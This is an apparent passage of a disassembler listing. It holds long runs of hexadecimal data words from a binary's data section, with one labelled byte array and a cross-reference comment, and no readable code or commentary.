0F200FB60h dd 798B3784h, 89DF5h, 278A1B74h, 0D3E3CD3h, 0E8580724h dd 0C90CBF11h, 2CF1CEECh, 788C5B56h, 7E635A00h, 681FD756h dd 665B002Fh, 6BC2FEA7h, 577FB1ECh, 51035A73h, 0B31E7DBEh dd 3A5900CAh, 61E0C3F6h, 0F81DED75h, 0AB4742B4h, 4D60DD6Eh dd 1F58EEAh, 0D8963B5Ah, 8070DB59h, 0A530F8E1h, 0F008AE3Eh dd 15E40091h, 2FDB2134h, 6C9226B3h, 8C42DF04h, 4C240C2h dd 486259h, 63551C64h, 894F39B6h, 9CCF1915h, 300CCD13h dd 0AF925254h, 8311BB60h, 0E5A456Fh, 9C40D704h, 0B88CD220h dd 99C363DBh, 0D8AEFEE5h, 9416D5h, 9F14A0FBh, 4D4B6558h dd 5452E906h, 5251C3F5h, 3000E4DBh, 0EBD9EFDDh, 0EA00365Eh dd 0D875AD8Ah, 3189A96Ah, 0C294252h, 0BC1B8E0h, 1F074Dh dd 1AD7168Eh, 26190018h, 0FE1C3AA0h, 4E3E51C8h, 131E0F5h dd 9F3F8Fh, 315E6AFBh, 0EB3A8B54h, 16F46600h, 46BED268h dd 16CD74F2h, 4B12C5h, 5A47566Ch, 912DDD64h, 37F416h, 2E0E1FACh dd 6A0C9213h, 0D1DEAF44h, 0F5D231C9h, 2588B771h, 66D6304Ch dd 7F8A38h, 0E63C4377h, 41AE0AFh, 29011753h, 895481DEh dd 58A44946h, 0C4004388h, 4BFAB1BFh, 902C2745h, 6F2E12D4h dd 0CB5034D9h, 79B800D8h, 77A0D94Bh, 8BB0E3Fh, 89A5EB67h dd 0C54C848h, 7F39E560h, 612852Dh, 4B6360F0h, 65522892h dd 0A3FA80BCh, 0CA9FE2h, 81D8BC41h, 0ED2C5845h, 1A5B871Fh dd 0D1E9D38Ch, 34AE4Ah, 0CB26D070h, 1D45444Eh, 0CF7CD158h dd 28F7002Ah, 6E60ECh, 7EB62F39h, 329138D7h, 30881526h dd 596FDB8Ch, 0F83F7BE0h, 65D10E43h, 9A600BDCh, 12C4F8D2h dd 6CDD0A0h, 60DBAF44h, 0A2C3962h, 5B0045A0h, 0BFF276B1h dd 3A0EC33Fh, 75B828AFh, 0C8A41A4h, 0A4B9E10Ch, 6A000AB8h dd 5912B460h, 19DB2D7h, 54D9CDD0h, 30718231h, 31DED570h dd 0D476C200h, 0A62D12Ch, 0FBB60EACh, 0D70160A4h, 2A006A8Eh dd 0BC2C8768h, 1DAAD6h, 0A0124B77h, 7D9AF423h, 0FD11320Eh dd 0B302526Eh, 0A085B613h, 2FF069F0h, 4786006Ah, 4EC5EDE9h dd 8511237Ah, 8015448h, 6F66A659h, 21943356h, 2F5C063Bh dd 4429D039h, 6B80AC5Ah, 16D114EBh, 0C21C001Eh, 48D22934h dd 0BB4C7335h, 805C5C78h, 696E0FC8h, 1D1B3C41h, 2A082500h dd 0D38FBCDh, 8098B75Ch, 0F90B435Fh, 9CB44CC4h, 0A05CF500h dd 0EB647C8Ch, 18B23E7Ah, 0BDF8A812h, 8C5F5C83h, 0D2815900h dd 0A1C06EDBh, 0A491B50Ch, 1C290014h, 9A9631C1h, 0A2003E2Eh dd 0B4D19B4Ah, 62A98AAh, 4F1CD7BBh, 0DDF208B2h, 0A8E8A400h dd 526E9980h, 60714864h, 1726E100h, 222BB5B8h, 0D7B4980Fh dd 0F83700FCh, 0F46596h, 0AB92FD90h, 7D181FA3h, 2FB551C3h dd 8931061Dh, 18A637A1h, 1F0077F0h, 0CF52C951h, 184DC44Fh dd 98AC1B8Fh, 0A180B4A4h, 31B36F31h, 0F049A38Dh, 5830B5E8h dd 2C1F1120h, 6038A3BAh, 509071F2h, 0F083B04Bh, 28A15CA4h dd 22286B3Bh, 0B800A99Ch, 0E1F8FF34h, 0F8A37841h, 29BE60CFh dd 0D296E9B7h, 63A25F00h, 690B3D70h, 469100B1h, 1EC4711Ah dd 0C36330A1h, 302DD031h, 0D93E3A81h, 293ED1BFh, 4C178042h dd 0A3DE3B3Ch, 4F1D147Bh, 24295CE6h, 0BD158094h, 2FA114BCh dd 252CAB50h, 9CB5188h, 912DB048h, 81228385h, 0E18FDA53h dd 4817EDB5h, 0B745158Ch, 14D926C8h, 0D4D3549Dh, 5FAE21C4h dd 0A1151D01h, 7195D936h, 7700C878h, 0F4C74A9Dh, 2B3EE862h dd 90D9294Eh, 5E9D7980h, 0C2D2A6h, 0D09AF6A7h, 1C4E8B38h dd 50F8E126h, 0B1075006h, 1E2342E9h, 17C3A014h, 768B2C20h dd 0D3C61589h, 929D6095h, 25180079h, 563FA353h, 9620D1C3h dd 0B9B81017h, 99AA0A18h, 0B540ECADh, 52A16522h, 0EB186C33h dd 8D245020h, 0BDCC61C6h, 14690F21h, 0F006088h, 660A9CBCh dd 0A0AA7400h, 988726E6h, 65A201FAh, 3999FDEAh, 8C78A858h dd 0B991D731h, 0CF11B12Eh, 605980B2h, 0DCBE7A24h, 0A515126Ah dd 387004A3h, 0B0992185h, 0AF441816h, 50FD1877h, 0D054C13Bh dd 0D8A02C54h, 18293002h, 75B05B3Ah, 61754E41h, 7210D02Dh dd 8356CB38h, 2591901Fh, 0B023A9D8h, 1ACE99ACh, 48E491Eh dd 0AC5F1491h, 97A51148h, 4299B02h, 6C8049FDh, 3C78EEBDh dd 0CD4A5F1Ch, 853AA643h, 0C03100AFh, 0BEC3116Ch, 1D00338Fh dd 565142D2h dd 3778AD35h, 0E9905485h, 46C00884h, 0B9132D0h, 44860AD9h dd 0E38E8300h, 0F007552h, 606E3DEDh, 4C0EB093h, 0AB284B38h dd 64B850BCh, 3CAC4C24h, 75464D2h, 0CEAA2CD4h, 4191656Fh dd 543184A5h, 0DB4017CFh, 9690199Fh, 79B70A06h, 0D9A885h dd 502FAD43h, 0E3DB3BBDh, 935F9C00h, 8D85C43Ah, 77B7262Ah dd 0BB2D0C6Ch, 0F7046259h, 0D0EDB4A5h, 5E58C8h, 4559F665h dd 0A847CBB3h, 78577600h, 0AB3D2EFDh, 631F6FCh, 0CD679CEBh dd 0DC86504Dh, 17212443h, 20783100h, 2FD65B8h, 5875A188h dd 7DC0A367h, 0CF2AB726h, 4488889Bh, 0A600E0ABh, 38BB3C19h dd 35B9F207h, 8336CF81h, 0DCB055E6h, 180203E6h, 0E7F5DEBFh dd 0B1906056h, 29E8C9B0h, 40FCA016h, 58AD951Ch, 0ED5CE783h dd 7D9E88AFh, 0FB8E0039h, 0A259F388h, 57E632E1h, 347BD024h dd 802D158Ah, 20B75832h, 0ADEF242Bh, 568F3899h, 805200CCh dd 1E693FAh, 61EC5184h, 0FC2DEAD1h, 0DE021127h, 2B1FAF45h dd 0CF9C4926h, 5700A822h, 44101B37h, 46089B3Fh, 2B08477h dd 502ED61Ch, 8EE28768h, 897C4F31h, 6FCEBCDh, 4AAF15B2h dd 1A0028BDh, 8F09E8DBh, 57009A0Eh, 2095E726h, 39A1E984h dd 1735154h, 0B72407A6h, 60287CB9h, 0D089B66Ch, 754F22E2h dd 5F7B7EC0h, 0B8D958h, 3402CA4Eh, 0AB81152h, 0B2EDA9ECh dd 9DE4A1C0h, 971EC0D1h, 489DD366h, 468B2A01h, 0CE3E4361h dd 11C25440h, 0C78D2882h, 0C4390392h, 0B035A119h, 52712148h dd 0B89F30F8h, 373AA3h, 3EB80FEFh, 5FCBED77h, 0B3F40B16h dd 58850405h, 904FD449h, 713A80Ch, 0E4BC018Fh, 811FD52Ch dd 8922234h, 0B92660CFh, 36F2174Ah, 0C8907950h, 6A34F602h dd 0C192D31Eh, 29812B97h, 8E68CF01h, 0BE1D063h, 0A9D92900h dd 54E785FAh, 6C890357h, 53ACBFA2h, 0C6D7BEA0h, 0D5722607h dd 0D6A1C56Bh, 31F02B6Ch, 5EAC02F5h, 70340C35h, 9469C057h dd 10384C6Dh, 0A26B0F7Bh, 0A6693A47h, 0C4DED301h, 2984604Fh dd 8138676Fh, 25723DBEh, 77707DCh, 114CE1C5h, 0F57921C6h dd 0E36180ADh, 839D5403h, 0BE40674h, 593247C5h, 15ADD807h dd 0F3B024EBh, 817EBAh, 0F9E16A8h, 1C18302Ch, 0BABEA03Ah dd 0A7516397h, 0F98178E1h, 19801321h, 8ED6BFC6h, 340C6EB7h dd 299B211Bh, 14AD3A6Dh, 0C0036C40h, 0EFD6711Dh, 0A76B98D4h dd 513363E8h, 0A022FF86h, 32C60030h, 3EA1C34Ah, 75F2EC53h dd 28656D00h, 0ACC5079Dh, 0BFC402D6h, 63241AF6h, 0E4E38C93h dd 45E89E0h, 36018198h, 40173A0Dh, 4EEC370Bh, 0CD91C020h dd 0FA87014h, 5C61F600h, 21C0C62Fh, 11EE6EDh, 60F98D4Ch dd 51FD03C2h, 40903030h, 0D6562B7Ch, 480AFE0Ch, 787B925h dd 0F7B45A1h, 0DE7E91D8h, 4977E004h, 808BBC00h, 5E3B8C4Eh dd 2C1B1140h, 0B36D0A67h, 0C540940Eh, 0C0154EBFh, 0CB6A8F11h dd 0F500052Eh, 0C64678ABh, 3AF2B6BEh, 89302D72h, 4D6C6E30h dd 8516D60h, 7B3601A5h, 81AC0F2Bh, 9DE748Eh, 401AA277h dd 0AFD39D80h, 5601A798h, 73C00594h, 0EADCA61Ch, 7720281Ah dd 66E7147Ch, 0A200304Eh, 3F0139D8h, 0A100CE98h, 574CD95Dh dd 0D69EDB6h, 1BB86DC5h, 71B6B0C1h, 2F3A66h, 6122D812h dd 0AC4ACC41h, 0E239F803h, 223D0879h, 8C0711F8h, 2030D6F1h dd 795FA6h, 0BBF6B6B8h, 3A122733h, 0C6AC5806h, 1210F037h dd 141BF3Eh, 0C778DF34h, 0ECD6D518h, 3A44486Dh, 0C51F0229h dd 778F45BEh, 0D2906440h, 7316140h, 370538EAh, 0FC6C60D4h dd 0D30C68BDh, 412C468Dh, 1CBF03ABh, 16182BEDh, 0F0035CE0h dd 0AD6BD0Ah, 171892B1h, 0C995C1h, 7E03A2F9h, 47E20F24h dd 22A8CB48h, 6A4D2296h, 58B61618h, 7CE3AAAh, 9506BA8Bh dd 6AC85D6h, 399FF528h, 17D5F00h, 4E94E09Dh, 0AB21C718h dd 20638052h, 6F03C491h, 9F9EF1BDh, 0A1E1C6F4h, 0D5102FB8h dd 0ACA4251Ah, 9658DF00h, 6D1F0B76h, 301E14ABh, 3D285491h dd 4D08188Ch, 0B96D3181h, 5790D60h, 14292623h, 106B251Bh dd 7C12AC11h, 47342050h, 0C40AF624h, 0E1953D00h, 190B415Ah dd 83E6AB1h, 942C3066h, 46E92484h, 1FE06F58h, 2A797141h dd 1D62D700h, 3D4340C0h, 0A0934947h, 403C4E24h, 1933F5D1h dd 2CCFDB00h, 0FDBD8A96h, 17B1ED7h, 0A6CC4211h, 88A71CE2h dd 9A395C4Eh, 9719A200h, 0D2079C6Fh, 4B0C3CC6h, 0C87BEA00h dd 6079F55Ch, 423E90CFh, 88C607FAh, 8D007888h, 1363375Bh dd 0ACC41CAEh, 0A96DDDDFh, 9EF50CD4h, 50B8A0D1h, 21561C02h dd 609F4578h, 88A41904h, 2C90592Bh, 8F309480h, 18CAA52h dd 0D9D3C118h, 3BD87F61h, 6CE10551h, 239DE23h, 0BFDE2F4h dd 30C26C98h, 24E3A507h, 0A818A99h, 0DD60FC1Eh, 2442E679h dd 548B78Fh, 2278221Bh, 90A02DD8h, 0FF2188FAh, 39B9E002h dd 90544E3Ah, 886025F0h, 0B407D5Ah, 21F56F40h, 757A3680h dd 8507228Dh, 6C6B2345h, 0F8B0B950h, 30C458BBh, 4036DFC4h dd 0BF0AFF3Dh, 950300B6h, 0C0624476h, 6D0D66E9h, 683F414Dh dd 0CBFEC4Ch, 4726D6B5h, 2F96EC8h, 132511C9h, 0DAC5D080h dd 92CE00DBh, 0B204E344h, 6901E0EEh, 8BB430C3h, 80216496h dd 0EDA722F2h, 4D4A4C80h, 0F800EA3Ah, 80C4C60Fh, 60481608h dd 0EC072123h, 18079BA7h, 0D2DE1BF4h, 1FB419C0h, 32FC016Eh dd 0E9C4CC17h, 56C6D4E0h, 98D5B513h, 0A5D77C04h, 0DC09C10h dd 1D69EABCh, 0E0F4E200h, 17E930B0h, 0D73C07FCh, 9662DF96h dd 60923993h, 704759DFh, 2A04AF8Bh, 6ACCA08Dh, 0CBCD0067h dd 5CD9DF8Eh, 93634EC0h, 0A82B0171h, 48A76C39h, 0C452741Dh dd 29B4C00h, 1F248E29h, 12CC7907h, 9947D714h, 0E06F2012h dd 0B0AA6B7Ch, 4CD33CC0h, 3EBCD4h, 0FD7CE502h, 0DFEE7517h dd 0F970C100h, 0F8B3CDFCh, 278BABFh, 0A0F7B456h, 0A4A03847h dd 365FABE2h, 33D62F1Dh, 0A31BC0C0h, 0D33BBA6Dh, 647808B1h dd 33B98E80h, 12ACA9EDh, 30BEC4D7h, 4A99657Ch, 42007B72h dd 73C24F9Fh, 4DA2B3h, 6C814E50h, 72A12C26h, 0D45A2B2Eh dd 0C1CE51Dh, 2F0C5D4h, 0AEBF8CA6h, 69E17568h, 30A84994h dd 1A26D6C4h, 0BF44702Bh, 0BB01808Ch, 0EFB6071Ch, 0F072A7E9h dd 0B7445AC5h, 3644E6F8h, 0AEF5173Eh, 3054135Bh, 8E162A0Ch dd 20C85F00h, 0B0EA4625h, 20C44ACAh, 36E4DC10h, 0D4D98218h dd 0B006ACB0h, 0FE571680h, 14E80C3Ah, 16544D80h, 0B000A88h dd 0A2FF92ADh, 72E8E7CAh, 0C86F5CF8h, 1C42152Ch, 21B28CD1h dd 9561F531h, 5857AFF1h, 47D2F680h, 89902523h, 77C5CC01h dd 4B2B84C4h, 0B7EB073h, 0A9672E02h, 1119EF00h, 43774176h dd 107C1B1Dh, 0B7F8240h, 0B15B628Fh, 0D7E88064h, 0E18A6A20h dd 38A3B802h, 841423C7h, 0D4073F8h, 8B550777h, 62CE0900h dd 2368015Ah, 80E707F3h, 0E0B6FB91h, 13FAE9ACh, 7A7EB2C0h dd 4AE73469h, 0E33C306Ch, 991FC564h, 0E00917FAh, 4A9CA0BDh dd 906EE147h, 4DC844B0h, 0CD817265h, 9F4F14C0h, 0E2B2009Ch dd 0CE9E5F6Ch, 83017DEAh, 0D1BF429Ah, 0B862EBA6h, 23C0E858h dd 0CDBE0977h, 5DA8F0Fh, 41A4E6DCh, 22A89029h, 1CA06D23h dd 0E21B3DDFh, 0E4B83005h, 0DCF4D643h, 0E933997Ch, 0E2D51921h dd 15DF2092h, 0B973B622h, 66BDEB00h, 106F73F3h, 84E00040h dd 5D458928h, 7813BFD8h, 0E4243A51h, 250D58C2h, 0D5A00005h dd 9756256Ch, 7F200C07h dd 847995D6h, 30522220h, 3934D218h, 2B10CF03h, 802809BFh dd 525DC7Fh, 1F78AE4h, 96F4CCC0h, 7109291Ch, 17842B54h dd 24322E1Bh, 82919B3h, 0C4E5027h, 0B1F0076Dh, 628EE995h dd 0F5231DB8h, 0DC9100A9h, 8CF1CDFAh, 26037BEEh, 2855933Ch dd 18685C64h, 848E540Bh, 520FE404h, 0D6290802h, 0AC5160h dd 0BBA7FC1Fh, 0B213CF8Fh, 2E013375h, 974DDC88h, 782C6ED5h dd 61261B82h, 8ED6E490h, 0D0817490h, 2D6B109Eh, 9F071341h dd 91F10C53h, 0BA006719h, 0F3E69D0Fh, 0D145ECh, 34D60833h dd 8E1813A0h, 4B20FD0Ah, 0F418CCC5h, 48EE0C71h, 410057C6h dd 0F681147Dh, 0B7027583h, 1591F1Dh, 0E8C6C5h, 94EEE64Ch dd 846DD02Bh, 66884D7Ch, 11490225h, 0D5648FE7h, 4E37CC81h dd 5321801Ah, 0E7D6FBEh, 9CA1004Ch, 0CCA519C4h, 0BF0B85D4h dd 6D3F4Ah, 0BDCF0A08h, 0B06B50D6h, 0C2440364h, 4D177CC4h dd 0A6E704C8h, 792BDE30h, 2DD5DD5h, 97BE4BDFh, 0F4C118A4h dd 51A0506Ch, 533EE661h, 0C9B08092h, 4BC2CF5Fh, 69AE2584h dd 2D4D04B9h, 0FB4E00ACh, 97A88617h, 0E19638E8h, 1410905Dh dd 21F44C0Eh, 37E508AAh, 0AC8D29BEh, 409E2300h, 0C184211Bh dd 0D3B45759h, 80583891h, 3322898h, 86D00040h, 9D60E712h dd 8902AC3Ch, 0CA4E567Bh, 5CFC5836h, 0CD69828h, 9070A238h dd 583E8744h, 0F3808448h, 1DB367FEh, 0E17EFD04h, 0C0A017C0h dd 98888A24h, 2C683228h, 0F68F3453h, 0D3049C96h, 28A0FCDCh dd 5F8F053Eh, 0CC953073h, 0CC4A4820h, 0B34AD00Bh, 6D42DCA4h dd 3C8218ABh, 8E29651Fh, 39659118h, 0E1980837h, 0F189BE80h dd 523057C5h, 1278AC97h, 20F4F6BFh, 0EB5846D4h, 9AC16003h dd 0C770F837h, 4CD14055h, 0A8632D1Bh, 24F1AB17h, 0CFCC8CA4h dd 0A3895400h, 0C424F6F4h, 0D68B0079h, 2319FC2Fh, 0B30AE927h dd 24174D6Eh, 0DD03E604h, 0E80CDCF5h, 4BBC1D09h, 0E5AA00C7h dd 87BDADAFh, 39CED06h, 4579EA30h, 48DE306Bh, 0BC276C09h dd 1303FFA8h, 0C4D24CC9h, 974128C8h, 4A74D8B8h, 0AC6AD724h dd 0FC74F801h, 0C01ACF3h, 5A1360DDh, 14F6D200h, 0D6BF56DBh dd 7DF49066h, 8F5C884Dh, 70348900h, 1FF5E961h, 0FB4903Eh dd 3062D736h, 593E8F4h, 85114C1Ch, 1B60C86Ch, 0C8B0274Ch dd 222264AFh, 45B8E6E1h, 682AE01Eh, 4888BE89h, 0BF925F28h dd 5E8A8C81h, 6C3C25F1h, 0E7C3B788h, 60A5E2E1h, 1326CA5Ch dd 522C8F8Ah, 0A2C45964h, 0C3F89278h, 0A70B9842h, 96E052EDh dd 7FB960B0h, 9077DF6h, 4C55490Eh, 83117ED2h, 0FB16CF38h dd 0DB71F90Fh, 300A33E0h, 56211F4Eh, 0EA1D3B42h, 9A405D72h dd 0D2540F4Fh, 0F2EB005Ah, 87AC797Fh, 386BEE4Eh, 0DF1C0288h dd 2BD82A35h, 8E113C64h, 0E7A717AEh, 9AD83026h, 0C8A66Ch dd 0D8F3FAD2h, 0D4DC592Ah, 8E744C4Ch, 0C657A0B3h, 254A198h dd 1F3EE9BCh, 0EC842C32h, 19C640A9h, 7C5BAE9Fh, 449A54B4h dd 80C0B921h, 1989FCAFh, 1001761h, 0DBADF1DEh, 3A3CBF4Bh dd 1F80540Ah, 0C65BCAD6h, 0D22EACC4h, 5CC030A6h, 9928E3A7h dd 53959188h, 54BB007Ch, 0CD323755h, 62600292h, 0B18F1D26h dd 0D6581CC8h, 8948F348h, 65F087DCh, 803775B2h, 7243E9F8h dd 5D5200FCh, 9BEC3D6Dh, 20CB1350h, 878810F5h, 0ADA10027h dd 508AD33Ah, 120398B3h, 0D2C34B01h, 0A8B9AB53h, 9EC2FE23h dd 212A4440h, 24087725h, 9F43D1C3h, 0EF26B851h, 5D071F58h dd 614740BBh, 3C3E30C5h, 0BEADE40Ah, 0E6088441h, 6CDD8135h dd 883AE24Eh, 0BE26AF69h, 4E181452h, 0D6CE1919h, 1EE5EE03h dd 0E015E439h, 96D167Fh, 2CE9C565h, 52739484h, 0A51F4030h dd 5D83A063h, 87510F23h, 6B20E03Ah, 76997733h, 0DD4D0414h dd 7CB02E78h, 82EC8459h, 458000A1h, 0D92C6336h, 0A302A0EAh dd 7B0139A9h, 0B55C411Fh, 0DC5A4D12h, 0D80DBF30h, 3C23EFFAh dd 0E384FD1Bh, 0C29ADC70h, 94C448A6h, 9B990A03h, 16046FEDh dd 306C2558h, 8CB06BDCh, 0CBCCAC00h, 0F354BD42h, 2927BBAh dd 6E6546D6h, 10F117B3h, 6D6FE904h, 2F57308Ch, 2018544Eh dd 0C418CC7Bh, 3E810247h, 6E1C0099h, 53A023AEh, 3C18DF40h dd 30211248h, 0A870B19Bh, 2A411630h, 26500476h, 5AC2065h dd 0D6B705D3h, 0E448530Ah, 6F3BFB94h, 0FF300054h, 1E55E8C0h dd 3A98009Bh, 7015C667h, 4CB1291Bh, 497EC400h, 5C3EC00Eh dd 1E3E3465h, 0FDCC4C41h, 0AB00E979h, 0B54D4401h, 3C707Fh dd 0F8979FEBh, 2A998521h, 0C663F709h, 0A58C0EE9h, 0D2C386BFh dd 0D9693D69h, 27DAAE8Fh, 0C6CD1261h, 11DC2C72h, 1B1226B4h dd 0F62C2C23h, 9726C000h, 0B0455C0Fh, 0BC8008Dh, 96226FA4h dd 0D8B651E9h, 0BFB2F240h, 66A302C1h, 5768BCBEh, 0F5881453h dd 63E4A6EBh, 0B1E04A83h, 7A03760Bh, 40300A67h, 0E2C09AF7h dd 54C81800h, 0A76B12D5h, 0A20494E4h, 0AC4C020Ch, 0C07CE38Ch dd 4CF16C0Ch, 9611B49Bh, 47C6089Ah, 21158023h, 85AEF91Ch dd 0A00E3F0h, 0CE130EA5h, 849AE9h, 46264F22h, 19296D49h dd 909EF909h, 48800864h, 13E88527h, 8532DC08h, 882C1AD5h dd 373B1D74h, 0D668809Ch, 0D72D256Bh, 80DA50B3h, 6E2F1496h dd 6D8B90B5h, 6C387800h, 413D4825h, 0AB920BB2h, 0FA5C82D2h dd 7FBC6017h, 0AE9504A2h, 0F12D6CDEh, 43F080C0h, 0B01D01F7h dd 64FF095Eh, 48C096D6h, 0C688AC98h, 1AE02DB5h, 0AEBFB090h dd 0F8AA5329h, 0EB8D4680h, 0EA150154h, 0F09F01BFh, 69C1A305h dd 1FF09244h, 2262D830h, 93E1DF5h, 7DC6405Fh, 5681A447h dd 849658C9h, 0D85819ACh, 0CD012B27h, 8CD7BC52h, 249C785Dh dd 23B68BC5h, 11702C99h, 998F3147h, 3B20D754h, 11ABDB0Dh dd 0BDE81E04h, 0FCCC6E2Ah, 405100EDh, 762DB69h, 0FE7BD4B5h dd 0E1247600h, 3F59778Bh, 63B426D0h, 0C801135Ch, 5C012D10h dd 0B8BCDB2Bh, 0C9E09438h, 52B30029h, 85B623D2h, 0B72F791Ah dd 401812BEh, 0E6594ABh, 386DC4D4h, 0CB815A0h, 2C7F1B89h dd 82419100h, 53DF1225h, 25B3EACDh, 0C0188D75h, 0C11A405Ah dd 79287BE0h, 5B040050h, 4A3789F0h, 0E9219901h, 0BEA01FBAh dd 73E79C47h, 0B088F4F5h, 9AFA0089h, 628AF32h, 8330229Bh dd 0F054FCA1h, 5DC412EEh, 70F00865h, 0E5B26D8Bh, 762414h dd 85ECAF50h, 0D09CF4E3h, 0F1DF6580h, 0F516B4h, 0BD57EDFAh dd 0CB67C711h, 690FC478h, 56E2ABECh, 4526D443h, 0BED5A1E7h dd 6006433h, 0B8FAC1DFh, 100EE83Dh, 0AD496Fh, 0B9FE82A4h dd 96470123h, 0DFF66BD9h, 0C053D8D7h, 0AFF4D625h, 9AAD60B8h dd 3225603h, 1B28C7F6h, 0B2C50ADEh, 0E48A00ECh, 66B85573h dd 0B06E143Dh, 0AD227419h, 33B7A000h, 3ED9820Dh, 0E1291EAFh dd 8090D367h, 57512560h, 4A004C74h, 0BAE093D3h, 2DA707D6h dd 9880F515h, 0BF748858h, 1E4F848h, 0A6E4ACC0h, 24632DE5h dd 0C658A422h, 0D36B0E87h, 3E6764E9h, 0A13D6CC3h, 0C4624EB9h dd 465B1Ch, 7B5CF29Dh, 160072D7h, 4FE2B7E7h, 6A24045h dd 943021A3h, 0F09159A7h, 85877580h, 5DF3FFh, 9C2BD49Eh dd 0B62FF06Ch, 0CF1397EEh, 3000424Fh, 6E92F9B3h, 0C6040B37h dd 44E4AD6Dh, 0BBA73600h, 0B6C4E447h, 0D87D02DFh, 223D6CD6h dd 4C4154A0h, 2500D09Ah, 0AF590D99h, 245C4Dh, 29201C4h dd 415AD546h, 4CC65E3Bh, 0AE37812Ch, 3BC89BBCh, 7FE201DDh dd 7A4E50E9h, 6DE0FCAFh dd 73F09D00h, 0BECF69F6h, 0C56A18D6h db 46h byte_530055 db 0E1h, 5Eh, 0DBh ; DATA XREF: ___:off_43859Co ; ___:off_4385B4o dd 44C8C3Eh, 47A02254h, 0EC07B0A9h, 70597618h, 0ACEB8113h dd 54114616h, 0E35C0C30h, 944909EEh, 0D080BED4h, 8C3059EFh dd 0E8408494h, 172B6D42h, 811F52E1h, 8958FE8h, 7938A2E8h dd 27BF0024h, 4B11569Bh, 0E48000B9h, 877DA1Dh, 0AF9C01EAh dd 0BAB371C5h, 0ACC8D48Dh, 6EE24DFAh, 90CA88h, 0DBA083A9h dd 774E6654h, 0B9B4701h, 402FAF3Fh, 8D27B096h, 80002C0Ch dd 86F64752h, 0AAC33882h, 0DB543682h, 0F042DC6Ch, 22112C79h dd 9C806B8Bh, 372B725Bh, 7D2410F0h, 0AE92548Eh, 89D7640Bh dd 814C9817h, 0B400F5Dh, 8E8253B7h, 58627249h, 1036C461h dd 9C6664Ah, 0DD04D656h, 72C95481h, 40CEE158h, 2B5D46B0h dd 16CD2D58h, 74D047D5h, 0B5DACFh, 0D2F81932h, 0AA2BBF94h dd 0F23F040Ah, 7660F4D3h, 326F4C6h, 0C78EBAADh, 8285B8B0h dd 1B2213A0h, 5CAC642Ah, 0C1A13C53h, 209715EFh, 69E889C8h dd 4E373404h, 7B8601F5h, 0BFF0B2D2h, 0F46C58DDh, 4E016D04h dd 5C24A8EEh, 0EC7F8068h, 9878269Fh, 4A302CCBh, 0E5546048h dd 7B2E85DDh, 700963Dh, 0B1A55DF1h, 8AE6004Ch, 0ED43C2DCh dd 3890502Eh, 0E4129E42h, 90CDC23h, 9007FA07h, 2E40327Ch dd 5BA2439h, 212B78A4h, 0C8C0133Eh, 0A200C3D8h, 0D23894CCh dd 2302522h, 0DEC065CBh, 0B871211Ah, 0B890B211h, 8FFA55C0h dd 1A00CACEh, 0BEAE846Bh, 48302229h, 30934092h, 0B2162658h dd 162DFC3Fh, 34204CCCh, 77C0F1h, 0C20275D4h, 0B6ACFC5Eh dd 112F5B02h, 0F1C1E231h, 5DA300E4h, 5C72F592h, 5A01CA75h dd 977EAD37h, 71D0BF66h, 25C62E2Ch, 1AE405C8h, 8CE816B5h dd 7600EC68h, 0F5FA2F28h, 2B3E39h, 0A3A97010h, 588C67D4h dd 18D6042Ch, 30005B16h, 91B25465h, 27411771h, 0B6083012h dd 565BA572h, 680057FCh, 4B380F9Bh, 841F525Ch, 0E89E18Fh dd 2260507Dh, 0C60E6E4Dh, 56AEB589h, 900A113h, 803304Eh dd 0D7022EF9h, 5910BB8h, 0E2A7F820h, 30970C29h, 6AC544h dd 0E7909DFEh, 7150FC56h, 2C68B706h, 23B0EE87h, 669E42E1h dd 3D1418C0h, 3C656Fh, 67832650h, 2F0A9EE2h, 0FBCAC205h dd 380047E9h, 0C76B9FF7h, 0E7A700F0h, 827D7EFEh, 2DE61109h dd 6FF14C06h, 7EB0083Ah, 20ED8841h, 55993088h, 4410BC9Dh dd 5A28708h, 0D1E5DB98h, 9359C02Fh, 5100108Dh, 0A3808F4Dh dd 0C016BD90h, 95D55E31h, 7D09C547h, 72C041CBh, 0DB733B4h dd 1CD85D21h, 0DD4A5F3Fh, 2BC5420h, 45740050h, 43BD91B8h dd 98046426h, 0BFCAE883h, 29AEF0C2h, 0ECDA58C1h, 6D0470E9h dd 2F5AE460h, 6BE7F4C0h, 67A800F7h, 0CDBF8005h, 230175EAh dd 1437048Eh, 28A428FAh, 4FF709C4h, 41C26C8Eh, 0CCE698D6h dd 74B36D2Eh, 0C84C25h, 0B8631C55h, 0E18B0B37h, 3CB8F01h dd 824021C6h, 0B96E56E8h, 0BDC0CEC4h, 10F2C162h, 0C56BE513h dd 344C8h, 40E36EA9h, 0DA5B72F0h, 6C901F00h, 7E7C585Ch dd 3BB10E8Dh, 2C9FB2ECh, 0D04025F4h, 35179778h, 28C8E6C0h dd 1EBD0051h, 8F2A03DDh, 5709A276h, 0A2960BCDh, 0A0704E08h dd 3B113D4h, 4BB00075h, 97A7AE7Eh, 21053F5Dh, 0F2284C79h dd 0D007B4A2h, 70CA12C1h, 64D833E1h, 0DC8BF500h, 999BFE71h dd 6AACA06Dh, 316B882Bh, 486C123Eh, 4995C124h, 82E8AEDDh dd 36B003Ch, 4FC97B99h, 0E4008ED3h, 433EB158h, 4CDC40C0h dd 9980444Ch, 97308AE2h, 50C9AC09h, 0EA5C227Eh, 4D5222Eh dd 0D60200CCh, 309AB70Eh, 49985E95h, 0FC7280B0h, 9878492Fh dd 0B1AD30h, 4AEA92FDh, 968C8AE0h, 95296A01h, 5F3DD3B6h dd 3222EC69h, 80C84E58h, 87C0E467h, 16B01EAh, 82DED2E7h dd 7CD06515h, 0E35280FCh, 76884Ch, 1F0A150h, 1AE6FC29h dd 0ACE49CA2h, 0CC004874h, 1FD093F5h, 301B4Bh, 50A15267h dd 0BBE5C93Ah, 97876304h, 0DC87BEA3h, 20268148h, 63251AC2h dd 16D6019Ch, 4FB96E66h, 2C6C6184h, 0D9D4CC34h, 6D89C700h dd 206ED8FEh, 79367172h, 60B09CB6h, 0A15DF0FFh, 6C8639h dd 99A3BFBCh, 90A5B7F3h, 0F2DF0603h, 3139E0A6h, 93FD75Ch dd 0E096D62Bh, 1FC504B0h, 6C0FF4E7h, 0EA020400h, 90948281h dd 2DEECE20h, 2999DE2Fh, 0F747E104h, 90108710h, 0BEC0FA0Bh dd 707F19DEh, 5DFB1E9Eh, 810F00BDh, 54F3FDA4h, 20032570h dd 0F6339441h, 0BD0CE95Bh, 2A9BD8h, 0B7C4F0Fh, 0D4BE8EAAh dd 0CC391100h, 342F638h, 670D0585h, 0F9E778h, 0DBDCE9A5h dd 0F27792DEh, 0D7ECF8F2h, 43A42900h, 